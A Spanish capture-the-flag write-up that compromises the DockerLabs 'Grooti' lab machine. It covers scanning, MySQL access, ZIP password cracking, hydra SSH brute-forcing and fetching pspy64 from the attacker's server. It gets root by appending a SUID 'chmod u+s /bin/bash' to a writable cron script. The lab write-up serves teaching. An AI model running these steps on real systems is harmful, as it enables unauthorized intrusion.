Post

DockerLabs - Grooti

DockerLabs - Grooti

nmap

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ nmap -sCV -p22,80,3306 172.17.0.2
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 46:69:49:1a:d0:b7:26:05:90:a3:22:b2:a8:fe:fd:83 (ECDSA)
|_  256 91:67:c5:15:53:13:af:6f:28:7d:1e:77:46:0c:c1:bb (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: \xF0\x9F\x8C\xB1 Grooti\'s Web
|_http-server-header: Apache/2.4.58 (Ubuntu)
3306/tcp open  mysql   MySQL 8.0.42-0ubuntu0.24.04.2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
| Not valid before: 2025-07-18T22:37:08
|_Not valid after:  2035-07-16T22:37:08
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.42-0ubuntu0.24.04.2
|   Thread ID: 12
|   Capabilities flags: 65535
|   Some Capabilities: SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, LongColumnFlag, ODBCClient, Support41Auth, FoundRows, Speaks41ProtocolNew, SupportsCompression, LongPassword, ConnectWithDatabase, IgnoreSigpipes, InteractiveClient, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsTransactions, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 3{}\x19LA8
| Y\x7F58@]\x13\x10ex8\x1F
|_  Auth Plugin Name: caching_sha2_password

análisis

En la pantalla principal del servidor web encontramos varias funcionalidades:

Desktop View

Una de ellas nos lleva a un recurso que permite listar ficheros:

Desktop View

El fichero README.md contiene lo que podría tratarse de una contraseña, por lo que la guardamos para más adelante:

Desktop View

Otra de las funcionalidades de la página principal nos lleva a un panel con información, la cual posiblemente se extraiga de una base de datos:

Desktop View

Procedemos también a revisar los posibles recursos que existan en el servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/archives             (Status: 301) [Size: 311] [--> http://172.17.0.2/archives/]
/index.html           (Status: 200) [Size: 1436]
/imagenes             (Status: 301) [Size: 311] [--> http://172.17.0.2/imagenes/]
/secret               (Status: 301) [Size: 309] [--> http://172.17.0.2/secret/]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

En el recurso /secret que hemos descubierto, vemos una lista de usuarios, sus permisos y si están o no activos:

Desktop View

Dado que en estos recursos no encontramos nada más relevante, volvemos a la pantalla principal, donde en el código fuente de la página hay un comentario que nos indica que posiblemente el usuario rocket sea un usuario válido para acceder al gestor de bases de datos de la máquina, el cual se encuentra disponible en el puerto 3306:

Desktop View

Probamos a conectarnos con el usuario rocket, y la contraseña que encontramos previamente, y vemos que accedemos exitosamente:

1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ mysql -u 'rocket' --password='p********' -h 172.17.0.2 --ssl=0
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 34
Server version: 8.0.42-0ubuntu0.24.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Una vez dentro, listamos las bases de datos existentes. La que parece más interesante de revisar es files_secret:

1
2
3
4
5
6
7
8
9
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| files_secret       |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.051 sec)

Listamos las tablas existentes en la base de datos files_secret, donde solo encontramos la tabla rutas:

1
2
3
4
5
6
7
MySQL [files_secret]> show tables;
+------------------------+
| Tables_in_files_secret |
+------------------------+
| rutas                  |
+------------------------+
1 row in set (0.003 sec)

Ahora, hacemos una consulta sobre la tabla rutas, donde las tres primeras son las que ya conocíamos, pero hay una cuarta:

1
2
3
4
5
6
7
8
9
10
MySQL [files_secret]> select * from rutas;
+----+------------+---------------------------------+
| id | nombre     | ruta                            |
+----+------------+---------------------------------+
|  1 | imagenes   | /var/www/html/files/imagenes/   |
|  2 | documentos | /var/www/html/files/documentos/ |
|  3 | facturas   | /var/www/html/files/facturas/   |
|  4 | secret     | /u********/s*****               |
+----+------------+---------------------------------+
4 rows in set (0.001 sec)

acceso inicial (grooti)

Probamos a acceder a la cuarta, y vemos que se nos muestra un panel donde, tras rellenar un formulario y enviarlo, se nos generan y descargan ficheros automáticamente:

Desktop View

Vemos que si cambiamos el numero introducido y volvemos a enviar el formulario, nos devuelve un fichero con la frase indicada como contenido del mismo:

Desktop View

Desktop View

Para poder revisar todos los ficheros y quedarnos con lo que sea diferente, interceptamos la petición de envío del formulario con Burp Suite, y la enviamos al Intruder, indicando que lo que queremos que se modifique en cada iteración sea el campo del número introducido.

Pasado un rato, veremos que en cierta petición el tamaño de la respuesta será considerablemente superior al del resto de las peticiones:

Desktop View

Veremos que la respuesta no es legible:

Desktop View

Esto se debe a que lo que obtenemos en este caso será un fichero comprimido:

Desktop View

Al tratar de descomprimirlo, veremos que nos pide una clave:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ 7z x password16.zip 
 
Enter password (will not be echoed):
ERROR: Wrong password : password16.txt

Dicha clave podemos llegar a obtenerla generando un hash con zip2john, guardarlo en un fichero, y pasar dicho fichero por una herramienta de fuerza bruta como john o hashcat:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ zip2john password16.zip > hash 
ver 2.0 efh 5455 efh 7875 password16.zip/password16.txt PKZIP Encr: TS_chk, cmplen=235, decmplen=327, crc=DEAD4CC8 ts=7EB3 cs=7eb3 type=8
                                                                                                                                                                                                                  
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ john -w=/usr/share/seclists/Passwords/rockyou.txt hash
p********        (password16.zip/password16.txt)     

Una vez obtenida la clave, veremos que lograremos descomprimir el contenido del fichero .zip:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ 7z x password16.zip

Enter password (will not be echoed):
Everything is Ok

Dicho fichero contendrá un listado de posibles contraseñas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ cat password16.txt
a*******
1*****
q*****
l******
r*******
1*******
p*******
s*********
i*******
h******
p*******
t******
c*******
a*********
w*******
t*******
a********
u*******
d*********
m*******
g********
G*******
!*********
m*********
Y********
P*******
m***********
Y***********
Y*********
f**********
1*******
b*********
r*******
h*******

Generamos también un listado de posibles usuarios con los datos obtenidos del recurso /secret del servidor:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ cat users.txt                                                                                                                       
grooti
groot
rocket
naia

Tratamos de ver si algunas de las combinaciones de usuario y contraseña de los dos ficheros que hemos generado coinciden para acceder por SSH.

Pasado un rato, descubrimos que el usuario grooti y una de las contraseñas del fichero password16.txt son correctas como credenciales por SSH:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ hydra -L users.txt -P password16.txt ssh://172.17.0.2 -t 64 -I

[DATA] max 64 tasks per 1 server, overall 64 tasks, 136 login tries (l:4/p:34), ~3 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: grooti   password: Y*********

Accedemos como el usuario grooti:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ ssh grooti@172.17.0.2                                             
grooti@172.17.0.2`s password: 
grooti@d56b68385918:~$ whoami
grooti
grooti@d56b68385918:~$ hostname -I
172.17.0.2

escalada de privilegios (root)

Revisando los ficheros del sistema, encontramos que hay un script en la carpeta /tmp:

1
2
3
4
5
6
grooti@d56b68385918:~$ ls -la /tmp
total 16
drwxrwxrwt 1 root  root   4096 Nov 10 21:34 .
drwxr-xr-x 1 root  root   4096 Nov 10 20:24 ..
-rwxrw-r-- 1 root  grooti  221 Jul 22 21:07 malicious.sh
drwx------ 2 mysql mysql  4096 Jul 19 00:37 tmp.ngOCkV7Loy

El contenido del script es el siguiente, el cual se encarga de crear un fichero en /tmp/mi_log_temporal.log, y luego lo borra dos segundos más tarde:

1
2
3
4
5
6
7
8
9
10
11
12
grooti@d56b68385918:~$ cat /tmp/malicious.sh
#!/bin/bash

LOG_TEMP="/tmp/mi_log_temporal.log"

echo "Log temporal creado a $(date)" > "$LOG_TEMP"
echo "Archivo $LOG_TEMP creado."

sleep 2

rm -f "$LOG_TEMP"
echo "Archivo $LOG_TEMP eliminado después de 2 segundos."

Procedemos a enviar el binario pspy64 a la máquina, ya queremos revisar si hay procesos a nivel de sistema que se están ejecutando, como, por ejemplo, tareas cron.

Abrimos un servidor con python3 donde tengamos el binario pspy64 guardado:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Grooti]
└─$ python3 -m http.server 80                                                                                                                        
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y desde la máquina víctima, lo descargamos con wget, y le damos permisos de ejecución:

1
2
3
4
5
6
7
8
9
10
grooti@d56b68385918:/tmp$ wget http://172.17.0.1/pspy64
--2025-11-10 21:38:14--  http://172.17.0.1/pspy64
Connecting to 172.17.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                               100%[====================================================================================================================>]   2.96M  --.-KB/s    in 0.01s   

grooti@d56b68385918:/tmp$ chmod +x pspy64

Ejecutamos pspy64, y vemos que mediante una tarea cron, se está ejecutando el script que hemos visto antes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
grooti@d56b68385918:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

20XX/XX/XX XX:XX:01 CMD: UID=0     PID=3424   | bash /tmp/malicious.sh 
20XX/XX/XX XX:XX:03 CMD: UID=0     PID=3462   | rm -f /tmp/mi_log_temporal.log

Comprobamos los permisos de dicho script, y vemos que el usuario grooti tiene permisos para editarlo:

1
2
grooti@d56b68385918:/tmp$ ls -la /tmp/malicious.sh
-rwxrw-r-- 1 root grooti 221 Jul 22 21:07 /tmp/malicious.sh

Por ello, lo que haremos será editarlo, indicando una instrucción que modifique los permisos del binario /bin/bash, que por defecto son los siguientes:

1
2
grooti@d56b68385918:/tmp$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Una vez hayamos editado el script, veremos que queda de la siguiente manera:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
grooti@d56b68385918:/tmp$ cat /tmp/malicious.sh
#!/bin/bash

LOG_TEMP="/tmp/mi_log_temporal.log"

echo "Log temporal creado a $(date)" > "$LOG_TEMP"
echo "Archivo $LOG_TEMP creado."

sleep 2

rm -f "$LOG_TEMP"
echo "Archivo $LOG_TEMP eliminado después de 2 segundos."

chmod u+s /bin/bash

Después de un rato, si volvemos a revisar los permisos del binario /bin/bash, veremos que ahora tiene permisos SUID:

1
2
grooti@d56b68385918:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Por lo tanto, podemos invocar una consola como el usuario root:

1
2
3
grooti@d56b68385918:/tmp$ bash -p
bash-5.2# whoami
root

Llegados a este punto, habremos completado el laboratorio con éxito!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.